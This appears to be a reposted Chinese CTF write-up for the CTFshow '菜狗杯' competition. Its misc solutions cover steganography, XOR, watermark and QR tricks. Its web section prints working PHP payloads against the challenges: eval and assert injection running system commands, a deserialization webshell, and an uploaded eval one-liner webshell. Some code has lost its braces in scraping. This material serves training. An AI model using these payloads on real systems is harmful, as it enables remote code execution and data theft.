CTFshow菜狗杯-misc-wp(详解 脚本 过程 全)
Posted 路baby
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow菜狗杯-misc-wp(详解 脚本 过程 全)相关的知识,希望对你有一定的参考价值。
首先感谢ctf平台和各位出题的大佬
其次感谢各位读者,对我的支持( •̀ ω •́ )y 有什么问题和建议可以私聊我
废话不多话开启你们的旅程吧 这个也是我这几天才看 一些见解和思路分享给你们
希望你们在旅途中玩的开心,学的开心✌( •̀ ω •́ )y
杂项签到
![](https://image.cha138.com/20230402/e67065928744446f867e4e882cefa0fc.jpg)
![](https://image.cha138.com/20230402/6a7c94c1ebd74a4598a85811b41912f3.jpg)
既然是签到就别往复杂想
直接010 搜索ctf
![](https://image.cha138.com/20230402/f848e33115934c4a8e48ce5eae2ac49b.jpg)
得到flag
ctfshowa62b0b55682d81f7f652b26147c49040
损坏的压缩包
![](https://image.cha138.com/20230402/a365f3bb65334bcd825f481f75e0c8a2.jpg)
![](https://image.cha138.com/20230402/1e114bcdf2bc4a1bb6dd2c60b20b17c8.jpg)
![](https://image.cha138.com/20230402/93b513fa41be4c72985455cc984513e9.jpg)
010查看十六进制发现附件为png图片,修改后缀为png解得flag
ctfshowe19efe2eb86f10ccd7ca362110903c05
谜之栅栏
![](https://image.cha138.com/20230402/8270d96320264c749ec7a2f4e0254b7e.jpg)
![](https://image.cha138.com/20230402/4b024d3ce73449b1b6817a9e9607caa8.jpg)
这个提示已经很明显了
使用010editor的文件比较功能找到两张图片的十六进制不同点,按顺序互相取一位数或者栅栏2位解得flag
![](https://image.cha138.com/20230402/2b4955ba07254b94b938d69ea9629be6.jpg)
010的功能远不如此 多多学习
![](https://image.cha138.com/20230402/8374533236064eb2ae6b0954883dc3c5.jpg)
ctfshowf0a6a0b721cfb949a7fb55ab5d8d210a
你会数数吗
![](https://image.cha138.com/20230402/7aa113e405f74cad9266d177ea81594e.jpg)
![](https://image.cha138.com/20230402/f6c4ae786bda4a68897d9853ace88f21.jpg)
无后缀拖010里查看源代码
![](https://image.cha138.com/20230402/24e909023147430daf090ea2e7c7cbcb.jpg)
一堆乱码
结合题目你会数数吗
想到可能是词频统计
这里还要用到010
工具直方图
![](https://image.cha138.com/20230402/254ac137a300497cbbd565f1331a476b.jpg)
![](https://image.cha138.com/20230402/bbe93372c4324e02b90acab9d019076d.jpg)
得到直方图按照计数降序统计字符
![](https://image.cha138.com/20230402/52002bfcf17043cb8062f166dafcfe51.jpg)
得到flag
ctfshowa1b2d3e4g56i7j8k9l0
这里也可以不使用010使用python
# -*- coding:utf-8 -*-
import re
from collections import Counter
#定义一个函数,用于统计字母的个数
def analyze_letter_count(text):
# 从文本中提取出所有字母
letters = re.findall(r'\\S', text)
# 统计所有字母的个数
counter = Counter(letters)
return counter
# 将文本存入变量
# 调用函数分析字母个数
def re_letter(s):
regex = r'\\'(.*?)\\''
new_string = re.findall(regex,s)
return new_string
text=input("输入文本:")
letter_count = analyze_letter_count(text)
strings=str(letter_count)
#print(letter_count)
print(''.join(re_letter(strings)))
同样最后也可以得到flag
ctfshowa1b2d3e4g56i7j8k9l0
你会异或吗
![](https://image.cha138.com/20230402/dfa9ddf9e0ef48c0af6efca07e25ade4.jpg)
![](https://image.cha138.com/20230402/261ba38eff184e4db2f0bc87293c48d6.jpg)
老规矩010走一遭
![](https://image.cha138.com/20230402/f318fdcfbf7f4d92bea0e9db9d56446d.jpg)
乱码一堆
根据题目提示(你会异或吗 神秘数字:0x50)
那我们就图片十六进制值异或十六进制50解得图片
这里还要使用010
全选代码工具十六进制运算二进制异或
![](https://image.cha138.com/20230402/dbf5fd399d004002a83326522923c267.jpg)
![](https://image.cha138.com/20230402/5f895011661d4e85ad48437a5df853d9.jpg)
得到完整的png图片
![](https://image.cha138.com/20230402/866831c4a3594982ab1f67d0aa5c1311.jpg)
保存如下图
![](https://image.cha138.com/20230402/ce8152d73596408285cf7a7b02bc8a6f.jpg)
得到flag
ctfshow030d0f5073ab4681d30866d1fdf10ab1
这里同样可以使用python
path = 'misc5.png'
# 新文件路径
new_path = 'new.png'
# 异或运算 def xor(file_path):
# 以二进制读取图片
with open(file_path, 'rb') as f:
data = f.read()
# 十六进制异或
data = bytes([c ^ 0x50 for c in data])
# 写入新的图片
with open(new_path, 'wb') as f:
f.write(data)
# 调用
xor(path)
ctfshow030d0f5073ab4681d30866d1fdf10ab1
flag一分为二
![](https://image.cha138.com/20230402/e26f9b8ba43648cdb482f45471473b37.jpg)
仅仅从标题看,这个题就不可能只有一种隐写方式了
但不要慌,唯一好的一点她是个能正常打开的图了
挺好看的一个图片
![](https://image.cha138.com/20230402/60d04c8f193c4d4d8aec341f6f03667d.jpg)
使用StegSlove工具打开
查看file format
![](https://image.cha138.com/20230402/12b60d47b00840de8ff7977524c89f62.jpg)
![](https://image.cha138.com/20230402/eea888c4f2ad4b18b199ce8da9e7f55c.jpg)
这时候你就会发现CRC(CRC) Calculated CRC(计算的CRC)不一样
这能证明什么有很大可能图片的高度被修改过
接下就是恢复高度(当然有些题你可以直接将高度调大,但我们是要精通一个题 所以我们可以使用工具。或者脚本找到图片的原始高度)
脚本
#png图片爆破宽高
import zlib
import struct
file = 'miku.png'
fr = open(file,'rb').read()
data = bytearray(fr[12:29])
#crc32key = eval(str(fr[29:33]).replace('\\\\x','').replace("b'",'0x').replace("'",''))
crc32key = 0x7507b944
#data = bytearray(b'\\x49\\x48\\x44\\x52\\x00\\x00\\x01\\xF4\\x00\\x00\\x01\\xF1\\x08\\x06\\x00\\x00\\x00')
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
#print(data)
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print(width,height)
print(data)
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
# fw = open(file+'.png','wb')
fw = open(file, 'wb')
fw.write(newpic)
fw.close
print("It's done!")
![](https://image.cha138.com/20230402/7e8940d9f4cb48c691a0ea4fa192ed40.jpg)
在010直接改高度就行
![](https://image.cha138.com/20230402/57bd71c36f934b5bb28cf32d609b6338.jpg)
工具
链接:https://pan.baidu.com/s/1DHzIfRwb9zkn-qSHAl-1qQ
提取码:lulu
--来自百度网盘超级会员V3的分享
图片直接拖进去就行
![](https://image.cha138.com/20230402/bd556c6218ef41fcbbcdd5d4b244ae58.jpg)
不管那种都可以得到图片的原始高度
![](https://image.cha138.com/20230402/b684017c28d74b1cb6756a6066904424.jpg)
SecondP@rTMikumiku~
后一半找到了
接下来只要找到前一半就行了
首先我们要试试分离lsb隐写之类的
后来发现是盲水印
使用waterMark.exe盲水印工具提取就可以
![](https://image.cha138.com/20230402/874021dd9fcd4d2ba85a4884964f902a.jpg)
得到前一部分
ctfshowFirstP@RT
最终得到flag
ctfshowFirstP@RTSecondP@rTMikumiku~
我是谁??
![](https://image.cha138.com/20230402/43f4c62e8629449a9cc2a1099338b0f3.jpg)
有意思的题目 感兴趣可以尝试
部署实例
![](https://image.cha138.com/20230402/980abd74e32c4e2d945e265275e0fd18.jpg)
![](https://image.cha138.com/20230402/789f1c26f44c4c85bb4f09e016b270ba.jpg)
刚开始还蛮期待的
其实就是找图片
在题目给出的链接里面玩游戏即可,眼睛好的可以快速通关,像我一样菜的需要点时间才能拿到flag。
当然也可以用脚本来做,找到视频的关键帧,然后截取出剪影部分,然后根据剪影在大图里找。
这里提供一个脚本供参考:(官方脚本)
import requests
from lxml import html
import cv2
import numpy as np
import json
url="http://xxxxxxxxxxxxxxxxxxxx.challenge.ctf.show"
sess=requests.session()
all_girl=sess.get(url+'/static/all_girl.png').content
with open('all_girl.png','wb')as f:
f.write(all_girl)
big_pic=cv2.imdecode(np.fromfile('all_girl.png', dtype=np.uint8), cv2.IMREAD_UNCHANGED)
big_pic=big_pic[50:,50:,:]
image_alpha = big_pic[:, :, 3]
mask_img=np.zeros((big_pic.shape[0],big_pic.shape[1]), np.uint8)
mask_img[np.where(image_alpha == 0)] = 255
cv2.imwrite('big.png',mask_img)
def answer_one(sess):
#获取视频文件
response=sess.get(url+'/check')
if 'ctfshow' in response.text:
print(response.text)
exit(0)
tree=html.fromstring(response.text)
element=tree.xpath('//source[@id="vsource"]')
video_path=element[0].get('src')
video_bin=sess.get(url+video_path).content
with open('Question.mp4','wb')as f:
f.write(video_bin)
#获取有效帧
video = cv2.VideoCapture('Question.mp4')
frame=0
while frame<=55:
res, image = video.read()
frame+=1
#cv2.imwrite('temp.png',image)
video.release()
#获取剪影
image=image[100:400,250:500]
gray_image=cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)
#cv2.imwrite('gray_image.png',gray_image)
temp = np.zeros((300, 250), np.uint8)
temp[np.where(gray_image>=128)]=255
#去白边
temp = temp[[not np.all(temp[i] == 255) for i in range(temp.shape[0])], :]
temp = temp[:, [not np.all(temp[:, i] == 255) for i in range(temp.shape[1])]]
#缩放至合适大小,肉眼大致判断是1.2倍,不一定准
temp = cv2.resize(temp,None,fx=1.2,fy=1.2)
#查找位置
res =cv2.matchTemplate( mask_img,temp,cv2.TM_CCOEFF_NORMED)
min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)
x,y=int(max_loc[0]/192),int(max_loc[1]/288)#为什么是192和288,因为大图去掉标题栏就是1920*2880
guess='ABCDEFGHIJ'[y]+'0123456789'[x]
print(f'guess:guess')
#传答案
response=sess.get(url+'/submit?guess='+guess)
r=json.loads(response.text)
if r['result']:
print('guess right!')
return True
else:
print('guess wrong!')
return False
i=1
while i<=31:
print(f'Round:i')
if answer_one(sess):
i+=1
else:
i=1
You and me
![](https://image.cha138.com/20230402/1775ae502a514e31b886e03d604e7d85.jpg)
下载解压俩小女孩
![](https://image.cha138.com/20230402/c8a7a6eb8cf74f44baea5947e4e5bdd1.jpg)
这一看就知道在干嘛吧
使用BlindWaterMark-master盲水印
python3 bwmforpy3.py decode you.png you_and_me.png wm2.png
![](https://image.cha138.com/20230402/03669ffcf01e48cea147dd6638ba8654.jpg)
![](https://image.cha138.com/20230402/6bc02c0087634f55952cdd8f10840f85.jpg)
得到ctfshowCDEASEFFR8846
7.1.05
![](https://image.cha138.com/20230402/fd2fcf154cca490ca1c6b8dc9afec44c.jpg)
解压之后是个SAV的文件
![](https://image.cha138.com/20230402/08d595b924d44a50b46231f3632fd707.jpg)
这种文件不是内存取证就是游戏存档
这里信息非常少只能我们一个一个去找
使用strings检索关键字
strings flagInHere.SAV >4.txt
![](https://image.cha138.com/20230402/561bfac4ee8e430083a2f43104f5faf4.jpg)
得到两个重要信息
![](https://image.cha138.com/20230402/972eb667147c4680b34d4844b61b48fc.jpg)
![](https://image.cha138.com/20230402/0b2700f6f0874d7f9f6b384cb08b6522.jpg)
翻译一下
![](https://image.cha138.com/20230402/2a098adfe7c74456868b8061c46b212e.jpg)
发现数个网址,点击其中一个进行访问:
![](https://image.cha138.com/20230402/8b7d888de241430783e0bc05650d4bdb.jpg)
发现无论打开那个都有这张图片直接来个信息搜集
![](https://image.cha138.com/20230402/72a4a0d7d95248e3b33ac10016d7d822.jpg)
果然游戏没错那个文件八成就是游戏存档
在网上搜索游戏,发现游戏版本已经更新到了8.1.18版本。
结合题目中的7.1.05,不难联想到题目希望使用7.1.05版本的游戏来打开存档,所以使用capitalism lab v.7.1.05进行搜索
![](https://image.cha138.com/20230402/bf1f601a37924b33bae54c7cd9c47e99.jpg)
还有另一种方法:这个游戏有中文社群,可以加QQ群754365305然后找管理要。
下载后打开游戏,却不知道如何载入存档?
之前不是使用strings扫描关键字符吗 还有一段信息没有使用
“C:\\Users\\Administrator\\Documents\\MyGames\\CapitalismLab\\SAVE\\LONG_001.SAV”,存档文件应该放置在我的文档下的MyGames文件夹中的\\CapitalismLab\\SAVE\\中。然后打开游戏,载入存档
![](https://image.cha138.com/20230402/03934be55b2f433facf6226780e5813f.jpg)
加载存档
![](https://image.cha138.com/20230402/6d23295682284a9f8b48cfacc622e25f.jpg)
![](https://image.cha138.com/20230402/20c0ac2498704318a1097aa3df860ffd.jpg)
若载入存档时出错,请关闭所有MOD,并打开所有DLC。
载入存档后如上图所示。这时我们会注意到底下的flag和操作。
long_flag_in_R&D。
R&D的意思是Research&Develop
在游戏中能代表这个含义的,是研发中心。因此我们需要找到研发中心的秘密
![](https://image.cha138.com/20230402/c8ebcedb3a9c462987ca60592ffbf3a7.jpg)
可以发现每个研发中心的研发部门的数量都不一样,将其按照从左下向右上,再行扫描的方式,可以得到这么一串数字:
9794598612147726669494087179782678475623253058262173164497949649813569030779924086502049160804再结合提示
![](https://image.cha138.com/20230402/3802cde7fabd48db8d1793ec0aba4a41.jpg)
long_to_bytes是一个常用于RSA的函数,用于将数字转成字节,来试一下:
>>> from Crypto.Util.number import long_to_bytes
>>> long _ to_bytes
(9794598612147726669494087179782678475623253058262173164497949649813569030779924086502049160804 )b " \\ X01 , x84 ( xfa , xe7 ] FI & x84 ? \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ xc1x08\\ x03 / \\ x9auo \\ xc2;ek \\ x9ed'
失败了,那有没有可能是被逆序了?
>>>long _ to _ bytes
(4080619402056804299770309653189469497944613712628503523265748762879717804949666277412168954979)
b'3maG_d00G_0S_s1_baL_ms1lat1paCwohsftc'
可以明显看到一个wohsftc,这是被逆序过的ctfshow。再逆序一遍即可得到flag
ctfshowCap1tal1sm_Lab_1s_S0_G00d_Gam3
黑丝白丝还有什么丝?
![](https://image.cha138.com/20230402/7584faf381da40bcab677c827b8d82e4.jpg)
这个题多说无意我们相信探姬师傅是为了出题才穿女装的
![](https://image.cha138.com/20230402/8374bc28ac754eeab9803eeef7a98d70.jpg)
视频链接
https://www.douyin.com/video/7164477952082693414
提示已经非常明显了
白丝为 . 黑丝为 - 转场为
看视频手敲:.-- ....- -. - - ----- -... ...-- -- --- .-. . -.-. ..- - .
![](https://image.cha138.com/20230402/d71c3b5e9d6943be9a1259e27c06684e.jpg)
得到flag
ctfshoww4ntt0b3morecute
我吐了你随意
![](https://image.cha138.com/20230402/883672b58fd343469a953e408a11b626.jpg)
这是妥妥的拜师贴呀
![](https://image.cha138.com/20230402/35da0e6be4b24b79a96a3fc9c3512d28.jpg)
当然这个提示也非常明确了零宽度字符的Unicode隐写术
零宽度字符的Unicode隐写术链接
http://330k.github.io/misc_tools/unicode_steganography.html
![](https://image.cha138.com/20230402/5bb242bac1f94775be564051b72f2019.jpg)
得到flag
ctfshowOP_is_for_Over_Power
这是个什么文件?
![](https://image.cha138.com/20230402/ec6d524a7ab24cf4870197da7ee37560.jpg)
看见需要密码的压缩包 第一时间想到的应该是不是伪密码
![](https://image.cha138.com/20230402/9f5ab90080d44b16b41cf9b7ee62249f.jpg)
010查看 果然 把09改成00就好了
![](https://image.cha138.com/20230402/40429c30fa3b405585e658d15ac13b1a.jpg)
得到无后缀文件
![](https://image.cha138.com/20230402/e6dca62f04b44e80bd8b68759150a2d7.jpg)
010查看
![](https://image.cha138.com/20230402/bfa48378ea0f41c1b42dcbc15945805e.jpg)
怀疑可能是pyc文件 假后缀
![](https://image.cha138.com/20230402/553a2f75b3984c06b33ef6ad4938564b.jpg)
那就需要反编译成py文件
在线网站
![](https://image.cha138.com/20230402/f43954e7f9ec45ab9e5b3121568a90ad.jpg)
flag=bytes([99,116,102,115,104,111,119,123,99,100,106,110,106,100,95,53,54,53,102,95,71,67,68,72,95,107,99,114,105,109,125]).decode()
print(flag)
运行一下就可以了
![](https://image.cha138.com/20230402/e03fb066123a4bb08cb9105a69df4913.jpg)
得到flag
ctfshowcdjnjd_565f_GCDH_kcrim
抽象画
![](https://image.cha138.com/20230402/8d6b9870f88b4ee9bdac3df61600d0f6.jpg)
![](https://image.cha138.com/20230402/1cd6ab2d27c44eaea118917ed34402e8.jpg)
题目说是图片打开确实乱码
说明这肯定是源代码编译过的
先试base
Base58到base32到base64
![](https://image.cha138.com/20230402/8bffdb60ebea4b7c925c05d3a35da0cf.jpg)
得到16进制代码
在010新建16进制文本 粘贴自十六进制文本
![](https://image.cha138.com/20230402/f45a01a00e0e4727a43c6403b93253fe.jpg)
转化成图片保存png格式
![](https://image.cha138.com/20230402/672c33a05e124849b836f428dd96534a.jpg)
果然够抽象
这里需要我们用到npiet这个工具
下载链接
https://download.csdn.net/download/m0_68012373/87428971?spm=1001.2014.3001.5501
![](https://image.cha138.com/20230402/4c13a9bfd3064b7cb36417ac15c83b5e.jpg)
npiet.exe -tpic 1.png
![](https://image.cha138.com/20230402/c5d0dcfcc89e42ce8d4a28e219b86dde.jpg)
得到flag
ctfshowdec8de_frejnv_frejer89
迅疾响应
![](https://image.cha138.com/20230402/b6a14b6e19c84465bb3c268981d76a2b.jpg)
打开一看二维码 但一看就是扫不出来的那种果然什么都没有
![](https://image.cha138.com/20230402/91b5adeefbea4c8aab318917854aab38.jpg)
正常思路就是图片隐写分离什么的
就使用strings搜索了一下关键字符
![](https://image.cha138.com/20230402/6db016bf10a74660a7d3967962cfea4a.jpg)
就发现这段字符(后来知道这是出题人设计的一个小坑)
既然什么都没有
那我们还就行走二维码这条路
![](https://image.cha138.com/20230402/2c896b40aac84650a9e7ca99947994b0.jpg)
二维码识别最好用的还要看工具QRazyBox
工具在线链接https://merricx.github.io/qrazybox/
导入文件
![](https://image.cha138.com/20230402/1f86c75ed2fa4357ac1d2bc9c39c5076.jpg)
![](https://image.cha138.com/20230402/237b672f9e484f2d9b37b72a4247a6fc.jpg)
工具提取QR信息
![](https://image.cha138.com/20230402/d87b3f9e020e4659b3eeb1a2a8f2dfb4.jpg)
![](https://image.cha138.com/20230402/e5d2505adca542479a78a3caa777f8d5.jpg)
ctfshow11451419-1981-
这也就表示还有一部分
![](https://image.cha138.com/20230402/7f99050dd9314a9fb386597871e1ab64.jpg)
使用画笔将纠错区给涂白如上图
然后工具刚刚的步骤在扫描一遍
![](https://image.cha138.com/20230402/1b231fe7bf094ec4ae92ca71e6478053.jpg)
就有了后面一部分
landexiangle
拼起来得到flag
ctfshow11451419-1981-landexiangle
我可没有骗你
![](https://image.cha138.com/20230402/fa90671b9eca42668d92f9ddc0f2b8b7.jpg)
压缩包要密码(正常思路,肯定是密码被藏起来,需要我们去找,我们还满怀期待的去找,结果什么都没,不得不说,作者呀)
![](https://image.cha138.com/20230402/1fb4098de4fb45f29cd2aa0b82570405.jpg)
这个密码只能去爆破
使用ARCHPR,尝试爆破,选数字
![](https://image.cha138.com/20230402/4aa080e49f6a48b88bef7c3ea9caa2b5.jpg)
![](https://image.cha138.com/20230402/c853b1d46722417f81a4c46e7e93a60a.jpg)
得到密码55813329
解压得到svega.mp3
![](https://image.cha138.com/20230402/66fd8f0378c24793b4238f47e553cdc9.jpg)
直接听百分之九十九没有用但还是要听一听
然后查看源代码
没有什么特别奇怪的地方
就是文件后缀是MP3 但源代码的格式是wav
![](https://image.cha138.com/20230402/5589ce927cbc4c3c84000902834271f6.jpg)
所以改后缀wav
正常顺序对文件分析分离隐写什么的一下但没有什么东西
那就绝大可能是工具隐写
关于音频隐写的工具wbStego silenteye等等就不多说了
这里使用的是静默之眼(silenteye)别为什么因为题目没有提示 那我们只能一个一个去试
先导入文件然后打开decode
![](https://image.cha138.com/20230402/8502913eae794cc089c5a0c4ef194022.jpg)
Sound qualit选择high
![](https://image.cha138.com/20230402/b8d2350e6dde4d01b05c4804a9b0f668.jpg)
点击decode
![](https://image.cha138.com/20230402/559d5920ebc94a90ab4b6a79de381ac5.jpg)
解密
得到flag
ctfshowaha_cdsc_jejcfe5rj_cjfr24J
你被骗了
![](https://image.cha138.com/20230402/814549f7956048189dee335f92cbcf01.jpg)
下载解压又是一个MP3文件
![](https://image.cha138.com/20230402/fcc512f5e4ef484fbc42507540d9bfc5.jpg)
在属性详细信息里有个flag(但是误导性信息假的,照应了题目)
![](https://image.cha138.com/20230402/aafacd7a1f4247efa9859cf7f79925f8.jpg)
使用MP3Stego这个工具
(当还需要密码,先拿空密码试试,发现不是就拿标题试一下)
MP3StegoDecode.exe -X -P nibeipianle nibeipianle.mp3
![](https://image.cha138.com/20230402/b2d9f2c95b43472c88b0cc724e146389.jpg)
有个txt文件 里面就是flag
![](https://image.cha138.com/20230402/0630bac737a4432fb6484c52e0bdd749.jpg)
得到flag
ctfshowchdv_1dcs_cjksnjn_NJDSjdcdjn
一闪一闪亮晶晶
![](https://image.cha138.com/20230402/810cf635c4d94c38911a336ff14b759c.jpg)
下载附件
两文件what is this 是不需要密码的 那个一闪一闪亮晶晶是需要的
![](https://image.cha138.com/20230402/be305319495c468f9952693d60d3cdc2.jpg)
打开二维码那就扫 普及一下这种图片形式叫目录
web签到
<?php
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
http://d0255dc2-b1c4-4916-95b0-a3cfe0495d40.challenge.ctf.show/?b=c&c[0]=1&c[6][0][7][5][8][0][9][4][4]=system("cat /f1agaaa");
post: a=b
cookie:CTFshow-QQ%E7%BE%A4:a
把群进行url编码就可以
这样的话cookie传入 =a ,然后破石头 a=b ,get b=c,request可以接收post和get请求,最后c因为用数组传参所以要带上后面的东西
一言既出
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num']))
if ($_GET['num'] == 114514)
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
看到一些危险的执行函数就要注意,就会执行后面的东西,
intval(114514);//) 输入114514);//
就会执行里面的内容然后注释掉了后面的全部内容,输出flag
驷马难追
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num']))
if ($_GET['num'] == 114514 && check($_GET['num']))
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
function check($str)
return !preg_match("/[a-z]|\\;|\\(|\\)/",$str);
和上一个没太大的区别,就增加了一层过滤,然后注释掉了括号
这个采用?num=114514%2b1805296的方法
%2b是加号的意思,
web2 c0me_t0_s1gn
跟着提示,控制台运行就会得出
我的眼里只有$
<?php
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
假如_=a $_=a ,如果这时候传入a=b $$a=b, $有点多用脚本把
一共有36个$和一共_,需要在_的基础上加上36层
import string
a='_=a&'
code="system('ls /');"
for i in range(35):
a+=s[i]+"="+s[i+1]+"&"
a+=s[i]+"="+code
print(a)
i一开始从0开始 34结束所以最后结尾会加上一个35,s=string.ascii_letters是字母从下标0开始
TAPTAPTAP
翻到源码,直接base64解密,
访问获得flag
Webshell
<?php
error_reporting(0);
class Webshell
public $cmd = 'echo "Hello World!"';
public function __construct()
$this->init();
public function init()
if (!preg_match('/flag/i', $this->cmd))
$this->exec($this->cmd);
public function exec($cmd)
$result = shell_exec($cmd);
echo $result;
if(isset($_GET['cmd']))
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
else
highlight_file(__FILE__);
?>
直接给cmd赋值就可以了,然后shell_exec执行,输出只不过输出是在源代码中输出的
<?php
class Webshell
public $cmd = "cat f*";
$W=new Webshell();
echo serialize($W);
获得flag
化零为整
<?php
highlight_file(__FILE__);
include "flag.php";
$result='';
for ($i=1;$i<=count($_GET);$i++)
if (strlen($_GET[$i])>1)
die("你太长了!!");
else
$result=$result.$_GET[$i];
if ($result ==="大牛")
echo $flag;
count($_GET)
首先这里就是统计get传参的个数比如,?a=1 值为1 a=1&b=2 就为2了
strlen($_GET[$i])>1
首先strlen是统计字节的个数,%4e这样的形式只占用一个字节,是统计 a=%4e统计等号的右边
所以这道题考虑用汉字的url编码绕过,一个汉字有3位url编码,然后用1-6
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
无一幸免
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0']))
$arr[$_GET['0']]=1;
if ($arr[]=1)
die($flag);
else
die("nonono!");
这道题其实,看if($arr[]=1)这个等于号,是一个所以这是一个赋值的操作,肯定为true会进行die的操作,所以0=1随便赋值
遍地飘零
<?php
include "flag.php";
highlight_file(__FILE__);
$zeros="000000000000000000000000000000";
foreach($_GET as $key => $value)
$$key=$$value;
if ($flag=="000000000000000000000000000000")
echo "好多零";
else
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET);
变量覆盖的题目payload:?_GET=flag
传说之下(雾)
打开之后是一个小游戏,一般这样都考察js前端
然后往上面翻找到了这个
this当前的为Game类,
直接在控制太输出Game.score=3000 改变类中的属性,获得flag
Is_Not_Obfuscate
打开界面查看源码
首先看到,decode,这是解密的说明会有一段加密的东西
如果action=test会执行,然后看下面有个robots.txt,访问
flag=0没东西,flag=1发现有一段加密后的源码
eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT
然后input=加密传参,action=test,但是这里一直没成功,弄了好久才发现+被过滤掉了,需要一层的url 编码
Anything is good?Please test it. <?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/'))
@mkdir('./plugins/', 0777);
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test')
echo 'Anything is good?Please test it.';
@eval(decode($_GET['input']));
ini_set('open_basedir', './plugins/');
if(!empty($_GET['action']))
switch ($_GET['action'])
case 'pull':
$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
echo "pull success";
break;
case 'push':
$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
echo "push success";
break;
default:
die('hacker!');
获得了源码界面,从源码可以看出push 用于上传,一句话木马但是经过了链接youyou进行了加密
pull 用于接受一句话木马,只需要获得上传木马这个文件名就可以利用
<?php eval($_POST['shell']);?> 上传
预览输入这个32位小写
但是经过了实验,发现只有传参get才可以利用shell=system('ls /');,post不行
很奇特的点,学到了很多,题后续还会一直补充
以上是关于CTFshow菜狗杯-misc-wp(详解 脚本 过程 全)的主要内容,如果未能解决你的问题,请参考以下文章